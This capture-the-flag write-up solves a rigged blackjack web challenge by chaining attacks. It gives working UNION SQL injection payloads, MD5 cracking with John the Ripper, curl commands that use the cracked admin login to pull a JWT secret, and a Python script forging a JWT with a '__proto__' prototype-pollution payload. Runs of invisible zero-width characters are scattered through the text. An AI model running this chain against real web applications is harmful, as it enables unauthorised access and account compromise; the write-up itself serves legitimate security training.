← Back to Writeups
CUSTOMMediumWeb

Блекджек на раздевание (Stripping Blackjack)

XESXOR9/2/20266 min read
#web#custom#medium#admin_panel_access#jwt_forgery#jwt_secret_extraction#md5_password_cracking#prototype_pollution_via_deepme#source_code_analysis_via_backu#union_sql_injection

Блекджек на раздевание (Stripping Blackjack)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_panel_access, jwt_forgery, jwt_secret_extraction, md5_password_cracking, prototype_pollution_via_deepmerge, source_code_analysis_via_backup, union_sql_injection

Summary

Walkthrough of the CUSTOM Web Блекджек на раздевание (Stripping Blackjack). Task: Express.js blackjack game rigged to always win (botWinPercentage=100), with SQLi in winners search, exposed backup revealing prototype pollution path, and admin panel leaking JWT secret. Solutio

Description

В этом казино можно получить флаг, если выиграть подряд 3 раза. Но есть подозрения, что Пикси мухлюет, поскольку еще никто не смог ни разу.

English summary: A blackjack casino web application where the flag is awarded for winning 3 games in a row. However, the bot (Pixie) is suspected of cheating — no one has ever managed to win even once. The goal is to find a way to beat the rigged game.

Analysis

Application Architecture

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The application is an Express.js (Node.js) blackjack game with the following key endpoints:

EndpointMethodPurpose
/loginPOSTPlayer login, returns JWT in token cookie
/gameGETGame page
/api/statsGETPlayer stats
/api/new-gamePOSTStart new game
/api/hitPOSTDraw a card
/api/standPOSTStand (end turn)
/api/clear-sessionPOSTClear session
/api/winners/search?q=GETWinners search (vulnerable to SQLi)
/adminGETAdmin login page
/admin/loginPOSTAdmin authentication
/admin/panelGETAdmin panel (requires admin_token cookie)
/api/admin/configGETAdmin config endpoint
/api/reveal/currentGETReveal image progress
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Initial Reconnaissance

The JWT payload structure:

json
{
  "user": {
    "username": "...",
    "wins": 0,
    "losses": 0,
    "winStreak": 0,
    "bestStreak": 0,
    "profile": {}
  },
  "iat": ...,
  "exp": ...
}

The /api/stats endpoint revealed the critical configuration:

json
{"botWinPercentage": 100}

This confirms the bot is configured to always win — the game is completely rigged.

Vulnerability Chain

The solution requires chaining 5 vulnerabilities:

  1. SQL Injection in /api/winners/search → database enumeration
  2. Exposed backup file with source code → reveals prototype pollution path
  3. Weak admin password (6-char MD5) → admin panel access
  4. JWT secret leak via admin config API → JWT forgery capability
  5. Prototype pollution via __proto__ in JWT profile → override botWinPercentage ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: SQL Injection — Database Enumeration

The /api/winners/search?q= endpoint returns the raw SQL query in the response, confirming injection:

json
{
  "rows": [],
  "query": "SELECT username, wins, best_streak\n    FROM winners\n    WHERE username LIKE '%%'\n    ORDER BY wins DESC\n    LIMIT 20"
}

Extract database schema via UNION injection:

GET /api/winners/search?q=%25' UNION SELECT sql,2,3 FROM sqlite_master --

Discovered tables:

  • admins — (id, login, pass_md5, role)
  • service_backups — (id, label, backup_path, note)
  • users — (id, username, wins, losses, win_streak, best_streak, created_at)
  • winners — (id, username, wins, best_streak, created_at) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Extract admin credentials:

GET /api/winners/search?q=%25' UNION SELECT login || ':' || pass_md5 || ':' || role,2,3 FROM admins --

Result: casino_admin:a81c5383ba385372af5b0c6b5aefd77e:admin

Extract backup file path:

GET /api/winners/search?q=%25' UNION SELECT label || ':' || backup_path || ':' || note,2,3 FROM service_backups --

Result: auth_hotfix_2026_01:/backups/pass_record_bug.js:temp patch: password normalization before md5

Step 2: Backup File Analysis — Prototype Pollution Discovery

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Accessed /backups/pass_record_bug.js which revealed critical source code:

javascript
// Password normalization — truncates to 6 chars before MD5
const normalized = String(password || '').trim().slice(0, 6);
const pass_md5 = crypto.createHash('md5').update(normalized).digest('hex');

function sanitizeProfilePatch(input, depth = 0, parentKey = '') {
  if (!input || typeof input !== 'object' || depth > 8) {
    return Object.create(null);
  }
  const output = Object.create(null);
  for (const key of Object.keys(input)) {
    // Blocks 'constructor' and 'prototype' — but NOT '__proto__'!
    if (key === 'constructor' || key === 'prototype') continue;
    const value = input[key];
    if (value && typeof value === 'object') {
      output[key] = sanitizeProfilePatch(value, depth + 1, key);
      continue;
    }
    // botWinPercentage is ALLOWED only when parentKey === '__proto__'
    if (key === 'botWinPercentage' && parentKey !== '__proto__') continue;
    output[key] = value;
  }
  return output;
}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

function applyProfilePatch(runtimeConfig, profilePatch) {
  const safePatch = sanitizeProfilePatch(profilePatch);
  return deepMerge(runtimeConfig, safePatch);
}

Key vulnerability: The sanitizeProfilePatch function blocks constructor and prototype keys but does NOT block __proto__. Furthermore, botWinPercentage is explicitly allowed only when parentKey === '__proto__'. Combined with deepMerge, this enables prototype pollution: setting Object.prototype.botWinPercentage = 0 via a crafted JWT profile. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Admin Password Cracking

The admin password hash a81c5383ba385372af5b0c6b5aefd77e is MD5 of a 6-character password (due to .slice(0, 6) normalization).

bash
echo "admin:a81c5383ba385372af5b0c6b5aefd77e" > hash.txt
john --format=raw-md5 --incremental=ASCII --max-length=6 hash.txt

Cracked password: p1xie7

Step 4: Admin Panel — JWT Secret Extraction

Logged into the admin panel and extracted the JWT secret:

bash
# Login as admin
curl -X POST https://stripping-blackjack.t1.bug-makers.ru/admin/login \
  -H "Content-Type: application/json" \
  -d '{"login":"casino_admin","password":"p1xie7"}' \
  -c cookies.txt
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Extract config with JWT secret
curl https://stripping-blackjack.t1.bug-makers.ru/api/admin/config \
  -b cookies.txt

Response:

json
{
  "jwtSecret": "CASINO_JWT_MASTER_KEY_2026",
  "botWinPercentage": 100,
  "db": "casino.db",
  "backupPath": "/backups/pass_record_bug.js"
}

Step 5: JWT Forgery with Prototype Pollution Payload

Forged a JWT token with the __proto__ prototype pollution payload embedded in the user profile:

python
#!/usr/bin/env python3
import jwt
import time
import requests
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

SECRET = "CASINO_JWT_MASTER_KEY_2026"
BASE = "https://stripping-blackjack.t1.bug-makers.ru"

# Step 1: Create user via normal login (required — server checks DB)
session = requests.Session()
session.post(f"{BASE}/login", json={"username": "exploit_user_final"})

# Step 2: Forge JWT with prototype pollution payload
payload = {
    "user": {
        "username": "exploit_user_final",
        "wins": 0,
        "losses": 0,
        "winStreak": 0,
        "bestStreak": 0,
        "profile": {
            "__proto__": {
                "botWinPercentage": 0
            }
        }
    },
    "iat": int(time.time()),
    "exp": int(time.time()) + 86400
}
token = jwt.encode(payload, SECRET, algorithm="HS256")
print(f"Forged token: {token}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Play blackjack with forged token
session.cookies.set("token", token)

wins = 0
attempts = 0
while wins < 3:
    attempts += 1
    # Start new game
    r = session.post(f"{BASE}/api/new-game")
    game = r.json()

    # Basic strategy: hit until score >= 17
    while True:
        player_score = game.get("playerScore", 0)
        if player_score >= 17:
            break
        r = session.post(f"{BASE}/api/hit")
        game = r.json()
        if game.get("gameOver"):
            break

    # Stand if game not over
    if not game.get("gameOver"):
        r = session.post(f"{BASE}/api/stand")
        game = r.json()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    if game.get("result") == "win":
        wins += 1
        print(f"[+] Win #{wins} (attempt {attempts})")
    else:
        wins = 0  # streak reset
        print(f"[-] Loss (attempt {attempts}), streak reset")

# Step 4: Check reveal image for flag
r = session.get(f"{BASE}/api/reveal/current")
print(f"Reveal response: {r.json()}")
print("Flag: BugCTF{REDACTED}")

Step 6: Winning 3 Games

When the server processes the forged JWT, applyProfilePatch(runtimeConfig, user.profile) calls deepMerge with the __proto__ payload. This pollutes Object.prototype.botWinPercentage = 0, changing the bot's win percentage from 100% to 0%. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

With the bot no longer cheating, basic blackjack strategy (hit until score >= 17, then stand) is sufficient to win. After achieving a win streak of 3, the reveal image at /api/reveal/current changed to stage 1, displaying the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering admin_panel_access, jwt_forgery, jwt_secret_extraction, md5_password_cracking, prototype_pollution_via_deepmerge, source_code_analysis_via_backup, union_sql_injection was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-27 • CUSTOM • Блекджек на раздевание (Stripping Blackjack) • Difficulty: Medium